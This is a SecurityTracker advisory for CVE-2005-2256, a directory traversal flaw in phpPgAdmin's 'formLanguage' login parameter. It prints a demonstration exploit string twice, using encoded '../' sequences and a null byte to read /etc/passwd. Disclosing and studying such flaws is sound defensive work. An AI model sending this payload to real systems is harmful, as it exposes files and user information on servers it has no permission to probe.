phpPgAdmin Input Validation Hole in 'formLanguage' Discloses Files to Remote Users
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SecurityTracker Alert ID: 1014414
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SecurityTracker URL: http://securitytracker.com/id?1014414
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CVE Reference: CVE-2005-2256
(Links to External Site)
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Updated: Jun 16 2008
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Original Entry Date: Jul 7 2005
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Impact: Disclosure of system information, Disclosure of user information
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Exploit Included: Yes
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Version(s): 3.5.3 and prior versions
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Description: A vulnerability was reported in phpPgAdmin. A remote user can view files on the target system.
The script does not properly validate user-supplied input in the 'formLanguage' parameter. A remote user can supply a specially
crafted parameter value containing encoded directory traversal characters to view files on the target system.
A demonstration
exploit URL is provided:
formUsername=username&formPassword=password&formServer=0
&formLanguage=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/pa
sswd%00&submitLogin=Login
SecurityFocus reported this vulnerability. No credit was provided.
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Impact: A remote user can view files on the target system with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
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Vendor URL: phppgadmin.sourceforge.net/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Message History:
None.
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Source Message Contents
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Date: Thu, 7 Jul 2005 08:21:35 -0400
Subject: [none]
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SecurityFocus reported a vulnerability in phpPgAdmin. No credit was provided.
A demonstration exploit URL is provided:
formUsername=username&formPassword=password&formServer=0&formLanguag
e=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/et
c/passwd%00&submitLogin=Login
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